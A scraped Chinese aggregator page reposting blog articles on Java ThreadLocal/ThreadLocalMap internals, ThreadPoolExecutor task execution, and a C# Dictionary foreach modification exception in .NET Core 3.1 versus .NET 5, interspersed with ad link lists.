    // 這兩種情況,都會進行設置初始值,並將初始值返回
    return setInitialValue();
}

/**
 * 設置ThreadLocal初始值
 *
 * @return 初始值
 */
private T setInitialValue() {
    // 調用initialValue方法,該方法可以在創建ThreadLocal的時候重寫
    T value = initialValue();
    Thread t = Thread.currentThread();

    // 獲取當前線程的threadLocals屬性(map)
    ThreadLocalMap map = getMap(t);
    if (map != null) {
        // threadLocals屬性值不為空,則進行調用ThreadLocalMap的set方法
        map.set(this, value);
    } else {
        // 沒有關聯的threadLocals,則創建ThreadLocalMap,並在map中新增一個Entry
        createMap(t, value);
    }

    // 返回初始值
    return value;
}

/**
 * 初始值默認為null,要設置初始值,只需要設置為方法返回值即可
 * 創建ThreadLocal設置默認值,可以覆蓋initialValue方法,initialValue方法不是在創建ThreadLocal時執行,而是這個時候執行
 *
 * @return ThreadLocal的初始值
 */
protected T initialValue() {
    return null;
}

     

2.6ThreadLocal-remove操作

  一般是在ThreadLocal對象使用完后,調用ThreadLocal的remove方法,在一定程度上,可以避免內存泄露;

 

/**
 * 刪除當前線程中threadLocals屬性(map)中的Entry(以當前ThreadLocal為key的)
 */
public void remove() {
    // 獲取當前線程的threadLocals屬性(ThreadLocalMap)
    ThreadLocalMap m = getMap(Thread.currentThread());

    if (m != null) {
        // 調用ThreadLocalMap的remove方法,刪除map中以當前ThreadLocal為key的entry
        m.remove(this);
    }
}

 

三.ThreadLocalMap內部類

3.0 線性探測算法解決hash衝突

  在介紹ThreadLocalMap的之前,強烈建議先了解一下線性探測算法,這是一種解決Hash衝突的方案,如果不了解這個算法就去看ThreadLocalMap的源碼就會非常吃力,會感到莫名其妙。

  鏈接在此:利用線性探測法解決hash衝突

 

3.1Entry內部類

  ThreadLocalMap是ThreadLocal的內部類,ThreadLocalMap底層使用數組實現,每一個數組的元素都是Entry類型(在ThreadLocalMap中定義的),源碼如下:

/**
 * ThreadLocalMap中存放的元素類型,繼承了弱引用類
 */
static class Entry extends WeakReference<ThreadLocal<?>> {
    // key對應的value,注意key是ThreadLocal類型
    Object value;

    Entry(ThreadLocal<?> k, Object v) {
        super(k);
        value = v;
    }
}

  ThreadLocalMap和HashMap類似,比較一下:

  a:底層都是使用數組實現,數組元素類型都是內部定義,Java8中,HashMap的元素是Node類型(或者TreeNode類型),ThreadLocalMap中的元素類型是Entry類型;

  b.都是通過計算得到一個值,將這個值與數組的長度(容量)進行與操作,確定Entry應該放到哪個位置;

  c.都有初始容量、負載因子,超過擴容閾值將會觸發擴容;但是HashMap的初始容量、負載因子是可以更改的,而ThreadLocalMap的初始容量和負載因子不可修改;

  注意Entry繼承自WeakReference類,在實例化Entry時,將接收的key傳給父類構造器(也就是WeakReference的構造器),WeakReference構造器又將key傳給它的父類構造器(Reference):

// 創建Reference對象,接受一個引用
Reference(T referent) {
    this(referent, null);
}

// 設置引用
Reference(T referent, ReferenceQueue<? super T> queue) {
    this.referent = referent;
    this.queue = (queue == null) ? ReferenceQueue.NULL : queue;
}

  關於Java的各種引用,可以參考:Java-強引用、軟引用、弱引用、虛引用

 

3.2ThreadLocalMap的常量介紹

// ThreadLocalMap的初始容量
private static final int INITIAL_CAPACITY = 16;

// ThreadLocalMap底層存數據的數組
private Entry[] table;

// ThreadLocalMap中元素的個數
private int size = 0;

// 擴容閾值,當size達到閾值時會觸發擴容(loadFactor=2/3;newCapacity=2*oldCapacity)
private int threshold; // Default to 0

  

3.3創建ThreadLocalMap對象

  創建ThreadLocalMap,是在第一次調用ThreadLocal的set或者get方法時執行,其中第一次未set值,直接調用get時,就會利用ThreadLocal的初始值來創建ThreadLocalMap。

  ThreadLocalMap內部類的源碼如下:

/**
 * 初始化一個ThreadLocalMap對象(第一次調用ThreadLocal的set方法時創建),傳入ThreadLocal對象和對應的value
 */
ThreadLocalMap(ThreadLocal<?> firstKey, Object firstValue) {
    // 創建一個Entry數組,容量為16(默認)
    table = new Entry[INITIAL_CAPACITY];

    // 計算新增的元素,應該放到數組的哪個位置,根據ThreadLocal的hash值與初始容量進行"與"操作
    int i = firstKey.threadLocalHashCode & (INITIAL_CAPACITY - 1);

    // 創建一個Entry,設置key和value,注意Entry中沒有key屬性,key屬性是傳給Entry的父類WeakReference
    table[i] = new Entry(firstKey, firstValue);

    // 初始容量為1
    size = 1;

    // 設置擴容閾值
    setThreshold(INITIAL_CAPACITY);
}

/**
 * 設置擴容閾值,接收容量值,負載因子固定為2/3
 */
private void setThreshold(int len) {
    threshold = len * 2 / 3;
}

 

3.4 ThreadLocalMap的set操作

  ThreadLocal的set方法,其實核心就是調用ThreadLocalMap的set方法,set方法的流程比較長

/**
 * 為當前ThreadLocal對象設置value
 */
private void set(ThreadLocal<?> key, Object value) {
    Entry[] tab = table;
    int len = tab.length;

    // 計算新元素應該放到哪個位置(這個位置不一定是最終存放的位置,因為可能會出現hash衝突)
    int i = key.threadLocalHashCode & (len - 1);

    // 判斷計算出來的位置是否被佔用,如果被佔用,則需要找出應該存放的位置
    for (Entry e = tab[i]; e != null; e = tab[i = nextIndex(i, len)]) {
        // 獲取Entry中key,也就是弱引用的對象
        ThreadLocal<?> k = e.get();

        // 判斷key是否相等(判斷弱引用的是否為同一個ThreadLocal對象)如果是,則進行覆蓋
        if (k == key) {
            e.value = value;
            return;
        }

        // k為null,也就是Entry的key已經被回收了,當前的Entry是一個陳舊的元素(stale entry)
        if (k == null) {
            // 用新元素替換掉陳舊元素,同時也會清理其他陳舊元素,防止內存泄露
            replaceStaleEntry(key, value, i);
            return;
        }
    }

    // map中沒有ThreadLocal對應的key,或者說沒有找到陳舊的Entry,則創建一個新的Entry,放入數組中
    tab[i] = new Entry(key, value);
    // ThreadLocalMap的元素數量加1
    int sz = ++size;

    // 先清理map中key為null的Entry元素,該Entry也應該被回收掉,防止內存泄露
    // 如果清理出陳舊的Entry,那麼就判斷是否需要擴容,如果需要的話,則進行rehash
    if (!cleanSomeSlots(i, sz) && sz >= threshold) {
        rehash();
    }
}

  上面最後幾行代碼涉及到清理陳舊Entry和rehash,這兩塊的代碼在下面。

 

3.5清理陳舊Entry和rehash

  陳舊的Entry,是指Entry的key為null,這種情況下,該Entry是不可訪問的,但是卻不會被回收,為了避免出現內存泄漏,所以需要在每次get、set、replace時,進行清理陳舊的Entry,下面只給出一部分代碼:

/**
 * 清理map中key為null的Entry元素,該Entry也應該被回收掉,防止內存泄露
 *
 * @param i 新Entry插入的位置
 * @param n 數組中元素的數量
 * @return 是否有陳舊的entry的清除
 */
private boolean cleanSomeSlots(int i, int n) {
    boolean removed = false;
    Entry[] tab = table;
    int len = tab.length;
    do {
        i = nextIndex(i, len);
        Entry e = tab[i];
        if (e != null && e.get() == null) {
            n = len;
            removed = true;
            i = expungeStaleEntry(i);
        }
    } while ((n >>>= 1) != 0);
    return removed;
}

private void rehash() {
    // 清除底層數組中所有陳舊的(stale)的Entry,也就是key為null的Entry
    // 同時每清除一個Entry,就對其後面的Entry重新計算hash,獲取新位置,使用線性探測法,重新確定最終位置
    expungeStaleEntries();

    // 清理完陳舊Entry后,判斷是否需要擴容
    if (size >= threshold - threshold / 4) {
        // 擴容時,容量變為舊容量的2倍,再進行rehash,並使用線性探測發確定Entry的新位置
        resize();
    }
}

  在rehash的時候,涉及到“線性探測法”,是一種用來解決hash衝突的方案,可以查看利用線性探測法解決hash衝突了解詳情。

 

3.6ThreadLocalMap-remove操作

  remove操作,是調用ThreadLocal.remove()方法時,刪除當前線程的ThreadLocalMap中該ThreadLocal為key的Entry。

/**
 * 移除當前線程的threadLocals屬性中key為ThreadLocal的Entry
 *
 * @param key 要移除的Entry的key(ThreadLocal對象)
 */
private void remove(ThreadLocal<?> key) {
    Entry[] tab = table;
    int len = tab.length;

    // 計算出該ThreadLocal對應的key應該存放的位置
    int i = key.threadLocalHashCode & (len - 1);

    // 找到指定位置,開始按照線性探測算法進行查找到該Thread的Entry
    for (Entry e = tab[i]; e != null; e = tab[i = nextIndex(i, len)]) {

        // 如果Entry的key相同
        if (e.get() == key) {
            // 調用WeakReference的clear方法,Entry的key是弱引用,指向ThreadLocal,現在將key指向null
            // 則該ThreadLocal對象在會在下一次gc時,被垃圾收集器回收
            e.clear();

            // 將該位置的Entry中的value置為null,於是value引用的對象也會被垃圾收集器回收(不會造成內存泄漏)
            // 同時內部會調整Entry的順序(開放探測算法的特點,刪除元素後會重新調整順序)
            expungeStaleEntry(i);

            return;
        }
    }
}

 

四.總結

  在學習ThreadLocal類源碼的過程還是受益頗多的:

  1.ThreadLocal的使用場景;

  2.initialValue的延遲執行;

  3.HashMap使用鏈表+紅黑樹解決hash衝突,ThreadLocalMap使用線性探測算法(開放尋址)解決hash衝突

  另外,ThreadLocal還有一部分內容,是關於弱引用和內存泄漏的問題,可以參考:分析ThreadLocal的弱引用與內存泄漏問題-Java8。

 

  原文地址:https://www.cnblogs.com/-beyond/p/13093032.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

分類
發燒車訊

併發系列(一)——線程池源碼(ThreadPoolExecutor類)簡析

前言

  本文主要是結合源碼去線程池執行任務的過程,基於JDK 11,整個過程基本與JDK 8相同。

  個人水平有限,文中若有表達有誤的,歡迎大夥留言指出,謝謝了!

一、線程池簡介

  1.1 使用線程池的優點

    1)通過復用已創建的線程,降低資源的消耗(線程的創建/銷毀是要消耗資源的)、提高響應速度;

    2)管理線程的個數,線程的個數在初始化線程池的時候指定;

    3)統一管理線程,比如停止,stop()方法;

  1.2 線程池執行任務過程

    線程池執行任務的過程如下圖所示,主要分為以下4步,其中參數的含義會在後面詳細講解:

    1)判斷工作的線程是否小於核心線程數據(workerCountOf(c) < corePoolSize),若小於則會新建一個線程去執行任務,這一步僅僅的是根據線程個數決定;

    2)若核心線程池滿了,就會判斷線程池的狀態,若是running狀態,則嘗試加入任務隊列,若加入成功后還會做一些事情,後面詳細說;

    3)若任務隊列滿了,則加入失敗,此時會判斷整個線程池線程是否滿,若沒有則創建非核心線程執行任務;

    4)若線程池滿了,則根據拒絕測試處理無法執行的任務;

    整體過程如下圖:

二、ThreadPoolExecutor類解析

  2.1 ThreadPoolExecutor的構造函數

    ThreadPoolExecutor類一共提供了4個構造函數,涉及5~7個參數,下面就5個必備參數的構造函數進行說明:

public ThreadPoolExecutor(int corePoolSize,
                              int maximumPoolSize,
                              long keepAliveTime,
                              TimeUnit unit,
                              BlockingQueue<Runnable> workQueue) {
        this(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue,
             Executors.defaultThreadFactory(), defaultHandler);
    }

    1)corePoolSize :初始化核心線程池中線程個數的大小;

    2)maxmumPoolSize:線程池中線程大小;

    3)keepAliveTime:非核心線程的超時時長;

      非核心線程空閑時常大於該值就會被終止。

    4)unit :keepAliveTime的單位,類型可以參見TimeUnit類;

    5)BlockingQueue workQueue:阻塞隊列,維護等待執行的任務;

  2.2  私有類Worker

    在ThreadPoolExecutor類中有兩個集合類型比較重要,一個是用於放置等待任務的workQueue,其類型是阻塞對列;一個是用於用於存放工作線程的works,其是Set類型,其中存放的類型是Worker。

    進一步簡化線程池執行過程,可以理解為works中的工作線程不停的去阻塞對列中取任務,執行結束,線程重新加入大works中。

    為此,有必要簡單了解一下Work類型的組成。

private final class Worker
        extends AbstractQueuedSynchronizer
        implements Runnable
    {
        /** Thread this worker is running in.  Null if factory fails. */
        //工作線程,由線程的工廠類初始化
        final Thread thread;
        /** Initial task to run.  Possibly null. */
        Runnable firstTask;
        /** Per-thread task counter */
        volatile long completedTasks;
        //不可重入的鎖
        protected boolean tryAcquire(int unused) {
            if (compareAndSetState(0, 1)) {
                setExclusiveOwnerThread(Thread.currentThread());
                return true;
            }
            return false;
        }

        .......
    }

    Worker類繼承於隊列同步器(AbstractQueueSynchronizer),隊列同步器是採取鎖或其他同步組件的基礎框架,其主要結構是自旋獲取鎖的同步隊列和等待喚醒的等待隊列,其方法因此可以分為兩類:對state改變的方法 和 入、出隊列的方法,即獲取獲取鎖的資格的變化(可能描述的不準確)。關於隊列同步器後續博客會詳細分析,此處不展開討論。

    Work類中通過CAS設置狀態失敗后直接返回false,而不是判斷當前線程是否已獲取鎖來實現不可重入的鎖,源碼註釋中解釋這樣做的原因是因為避免work tash重新獲取到控制線程池全局的方法,如setCorePoolSize。

  2.3  拒絕策略類

    ThreadPoolExecutor的拒絕策略類是以私有類的方式實現的,有四種策略:

    1)AbortPolicy:丟棄任務並拋出RejectedExecutionException異常(默認拒絕處理策略)。

      2)DiscardPolicy:拋棄新來的任務,但是不拋出異常。

      3)DiscardOldestPolicy:拋棄等待隊列頭部(最舊的)的任務,然後重新嘗試執行程序(失敗則會重複此過程)。

      4)CallerRunsPolicy:由調用線程處理該任務。

    其代碼相對簡單,可以參考源碼。

三、任務執行過程分析

  3.1 execute(Runnable)方法

    execute(Runnable)方法的整體過程如上文1.2所述,其實現方式如下:

public void execute(Runnable command) {
        //執行的任務為空,直接拋出異常
        if (command == null)
            throw new NullPointerException();
        //ctl是ThreadPoolExecutor中很關鍵的一個AtomicInteger,主線程池的控制狀態
        int c = ctl.get();
        //1、判斷是否小於核心線程池的大小,若是則直接嘗試新建一個work線程
        if (workerCountOf(c) < corePoolSize) {
            if (addWorker(command, true))
                return;
            c = ctl.get();
        }
        //2、大於核心線程池的大小或新建work失敗(如創建thread失敗),會先判斷線程池是否是running狀態,若是則加入阻塞對列
        if (isRunning(c) && workQueue.offer(command)) {
            int recheck = ctl.get();
            //重新驗證線程池是否為running,若否,則嘗試從對列中刪除,成功后執行拒絕策略
            if (! isRunning(recheck) && remove(command))
                reject(command);
            //若線程池的狀態為shutdown則,嘗試去執行完阻塞對列中的任務
            else if (workerCountOf(recheck) == 0)
                addWorker(null, false);
        }
        //3、新建非核心線程去執行任務,若失敗,則採取拒絕策略
        else if (!addWorker(command, false))
            reject(command);
    }

  3.2 addWorker(Runnable,boole)方法

    execute(Runnable)方法中,新建(非)核心線程執行任務主要是通過addWorker方法實現的,其執行過程如下:

private boolean addWorker(Runnable firstTask, boolean core) {
        //此處反覆檢查線程池的狀態以及工作線程是否超過給定的值
        retry:
        for (int c = ctl.get();;) {
            // Check if queue empty only if necessary.
            if (runStateAtLeast(c, SHUTDOWN)
                && (runStateAtLeast(c, STOP)
                    || firstTask != null
                    || workQueue.isEmpty()))
                return false;

            for (;;) {
            //核心和非核心線程的區別
                if (workerCountOf(c)
                    >= ((core ? corePoolSize : maximumPoolSize) & COUNT_MASK))
                    return false;
                if (compareAndIncrementWorkerCount(c))
                    break retry;
                c = ctl.get();  // Re-read ctl
                if (runStateAtLeast(c, SHUTDOWN))
                    continue retry;
                // else CAS failed due to workerCount change; retry inner loop
            }
        }

        boolean workerStarted = false;
        boolean workerAdded = false;
        Worker w = null;
        try {
            w = new Worker(firstTask);
            //通過工廠方法初始化,可能失敗,即可能為null
            final Thread t = w.thread;
            if (t != null) {
            //獲取全局鎖
                final ReentrantLock mainLock = this.mainLock;
                mainLock.lock();
                try {
                    // Recheck while holding lock.
                    // Back out on ThreadFactory failure or if
                    // shut down before lock acquired.
                    int c = ctl.get();
                    //線程池處於running狀態
                    //或shutdown狀態但無需要執行的task,個人理解為用於去阻塞隊列中取任務執行
                    if (isRunning(c) ||
                        (runStateLessThan(c, STOP) && firstTask == null)) {
                        if (t.isAlive()) // precheck that t is startable
                            throw new IllegalThreadStateException();
                        workers.add(w);
                        int s = workers.size();
                        if (s > largestPoolSize)
                            largestPoolSize = s;
                        workerAdded = true;
                    }
                } finally {
                    mainLock.unlock();
                }
                if (workerAdded) {
                    //執行任務,這裡會執行thread的firstTask獲取阻塞對列中取任務
                    t.start();
                    workerStarted = true;
                }
            }
        } finally {
            if (! workerStarted)
            //開始失敗,則會從workers中刪除新建的work,work數量減1,嘗試關閉線程池,這些過程會獲取全局鎖
                addWorkerFailed(w);
        }
        return workerStarted;
    }

  3.3  runWorker(this) 方法

     在3.2 中當新建的worker線程加入在workers中成功后,就會啟動對應任務,其調用的是Worker類中的run()方法,即調用runWorker(this)方法,其過程如下:

final void runWorker(Worker w) {
        Thread wt = Thread.currentThread();
        Runnable task = w.firstTask;
        w.firstTask = null;
        w.unlock(); // allow interrupts
        boolean completedAbruptly = true;
        try {
        //while()循環中,前者是新建線程執行firstTask,對應線程個數小於核心線程和阻塞隊列滿的情況,
        //getTask()則是從阻塞對列中取任務執行
            while (task != null || (task = getTask()) != null) {
                w.lock();
                // If pool is stopping, ensure thread is interrupted;
                // if not, ensure thread is not interrupted.  This
                // requires a recheck in second case to deal with
                // shutdownNow race while clearing interrupt
                //僅線程池狀態為stop時,線程響應中斷,這裏也就解釋了調用shutdown時,正在工作的線程會繼續工作
                if ((runStateAtLeast(ctl.get(), STOP) ||
                     (Thread.interrupted() &&
                      runStateAtLeast(ctl.get(), STOP))) &&
                    !wt.isInterrupted())
                    wt.interrupt();
                try {
                    beforeExecute(wt, task);
                    try {
                    //執行任務
                        task.run();
                        afterExecute(task, null);
                    } catch (Throwable ex) {
                        afterExecute(task, ex);
                        throw ex;
                    }
                } finally {
                    task = null;
                    //完成的個數+1
                    w.completedTasks++;
                    w.unlock();
                }
            }
            completedAbruptly = false;
        } finally {
            //處理後續工作
            processWorkerExit(w, completedAbruptly);
        }
    }

   3.4 processWorkerExit(Worker,boole)方法

    當任務執行結果后,在滿足一定條件下會新增一個worker線程,代碼如下:

private void processWorkerExit(Worker w, boolean completedAbruptly) {
        if (completedAbruptly) // If abrupt, then workerCount wasn't adjusted
            decrementWorkerCount();

        final ReentrantLock mainLock = this.mainLock;
        mainLock.lock();
        try {
            completedTaskCount += w.completedTasks;
            //對工作線程的增減需要加全局鎖
            workers.remove(w);
        } finally {
            mainLock.unlock();
        }
        //嘗試終止線程池
        tryTerminate();

        int c = ctl.get();
        if (runStateLessThan(c, STOP)) {
        //線程不是中斷,會維持最小的個數
            if (!completedAbruptly) {
                int min = allowCoreThreadTimeOut ? 0 : corePoolSize;
                if (min == 0 && ! workQueue.isEmpty())
                    min = 1;
                if (workerCountOf(c) >= min)
                    return; // replacement not needed
            }
            //執行完任務后,線程重新加入workers中
            addWorker(null, false);
        }
    }

  至此,線程池執行任務的過程分析結束,其他方法的實現過程可以參考源碼。

 

Ref:

[1]http://concurrent.redspider.group/article/03/12.html

[2]《Java併發編程的藝術》

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※回頭車貨運收費標準

分類
發燒車訊

foreach 集合又拋經典異常了,這次一定要刨根問底

一:背景

1. 講故事

最近同事在寫一段業務邏輯的時候,程序跑起來總是報:集合已修改;可能無法執行枚舉操作,硬是沒有找到什麼情況下會導致這個異常產生,就讓我來找一下bug,其實這個異常在座的每個程序員幾乎都遇到過,誰也不是一生下就是大牛,簡單看了下代碼,確實是多線程操作foreach,但並沒有對foreach進行Add,Remove操作,掃完代碼其實我也是有點懵,沒撤只能調試了,在foreach里套一層trycatch,查看異常的線程堆棧從而找出了問題代碼,代碼簡化如下:


        static void Main(string[] args)
        {
            var dict = new Dictionary<int, int>()
            {
                [1001] = 1,
                [1002] = 10,
                [1003] = 20
            };

            foreach (var userid in dict.Keys)
            {
                dict[userid] = dict[userid] + 1;
            }
        }

先尋找點安慰,說實話,憑肉眼你覺得這段代碼會拋出異常嗎? 反正我是被騙過了,大寫的尷尬,結論如下,運行一下便知。

從圖中看確實是異常,說明在foreach的過程中連迭代集合的 value 都不可以修改,這讓我激起了強烈的探索欲,看看FCL中到底是怎麼限制的。

二:源碼探索

1. 從IL中尋找答案

C#已發展到 9.0 了,到處都充斥着語法糖,有時候不看一下底層的IL都不知道到底是轉化成了什麼,所以這個是必須的。


	IL_000d: callvirt instance void class [System.Collections]System.Collections.Generic.Dictionary`2<int32, int32>::set_Item(!0, !1)
	IL_001b: callvirt instance void class [System.Collections]System.Collections.Generic.Dictionary`2<int32, int32>::set_Item(!0, !1)
	IL_0029: callvirt instance void class [System.Collections]System.Collections.Generic.Dictionary`2<int32, int32>::set_Item(!0, !1)
	IL_0037: callvirt instance valuetype [System.Collections]System.Collections.Generic.Dictionary`2/KeyCollection/Enumerator<!0, !1> class [System.Collections]System.Collections.Generic.Dictionary`2/KeyCollection<int32, int32>::GetEnumerator()

	.try
	{
		IL_003d: br.s IL_005a
		// loop start (head: IL_005a)
			IL_003f: ldloca.s 1
			IL_0041: call instance !0 valuetype [System.Collections]System.Collections.Generic.Dictionary`2/KeyCollection/Enumerator<int32, int32>::get_Current()
			IL_004c: callvirt instance !1 class [System.Collections]System.Collections.Generic.Dictionary`2<int32, int32>::get_Item(!0)
			IL_0053: callvirt instance void class [System.Collections]System.Collections.Generic.Dictionary`2<int32, int32>::set_Item(!0, !1)
			IL_005a: ldloca.s 1
			IL_005c: call instance bool valuetype [System.Collections]System.Collections.Generic.Dictionary`2/KeyCollection/Enumerator<int32, int32>::MoveNext()
			IL_0061: brtrue.s IL_003f
		// end loop

		IL_0063: leave.s IL_0074
	} // end .try
	finally
	{

	} // end handler    

從IL代碼中可以看到,先執行了三次字典的索引器操作,然後調用了 Dictionary.GetEnumerator 來生成字典的迭代類,這思路就非常清晰了,然後我們看一下類索引器都做了些什麼。

從圖中可以看到,每一次的索引器操作,這裏都執行了version++,所以字典初始化完成之後,這裏的 version=3,沒有問題吧,然後繼續看代碼,尋找 Dictionary.GetEnumerator 方法啟動迭代類。

上面代碼的 _version = dictionary._version; 一定要看仔細了,在啟動迭代類的時候記錄了當時字典的版本號,也就是_version=3,然後繼續探索moveNext方法幹了什麼,如下圖:

從圖中可以看到,當每次執行moveNext的過程中,都會判斷一下字典的 version 和 當初初始化迭代類中的version 版本號是否一致,如果不一致就拋出異常,所以這行代碼就是點睛之筆了,當在foreach體中執行了 dict[userid] = dict[userid] + 1; 語句,相當於又執行了一次類索引器操作,這時候字典的version就變成 4 了,而當初初始化迭代類的時候還是3,自然下一次執行 moveNext 就是 3 != 4 拋出異常了。

如果你非要讓我證明給你看,這裏可以使用dnspy直接調試源碼,在異常那裡下一個斷點再查看兩個version版本號不就知道啦。。。

2. 面對疾風

有些朋友可能要說,碼農今天分享的這篇一點水準都沒有,我18年前就知道字典是不能動態修改的,還分析的頭頭是勁。

但是我有話要說,這個還確實是我的一個盲區,平時在迭代字典的時候value一般都是引用類型,動態修改引用類型的值自然是沒有問題的,這是因為你不管怎麼修改都不會改變 _version 版本號,但質疑我的也不要把話說的太滿,因為這種操作是非常語義化非常大眾的需求,你能保證後面net版本不支持這個嗎??? 如果你說不可能,那恭喜你,被我帶到坑裡面去啦。

下面我用原封不動的代碼在 .net 5 下跑一次,睜大眼睛好好看哦~~~

驚訝吧, 居然在 .Net 5 中可以的,接下來用ILSpy去查查底層源碼,.netcore 3.1 和 net5 中分別對 類索引器 都做了啥修改。

  • netcore 3.1

Path: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\3.1.2\System.Private.CoreLib.dll

  • net5

Path: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\5.0.0-preview.5.20278.1\System.Private.CoreLib.dll

對比兩張圖你會發現 .Net5 中並沒有做 _version++ 操作,這就了,如果你再細讀代碼,你還發現 .Net5 對字典進行了較大幅度的優化,哈哈,當初在 .Net5 之前產生的錯誤,在 .Net5 中居然沒有啦!

四: 總結

源碼面前,不談隱私,沒事多翻翻源碼,有可能還有意外收穫,比如在 .Net 5下的這點新發現,可能還是全網第一個哦,這要是兩個大牛爭吵,讓小白去相信誰呢,嘿嘿,源碼才是真正的專家~

如您有更多問題與我互動,掃描下方進來吧~

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!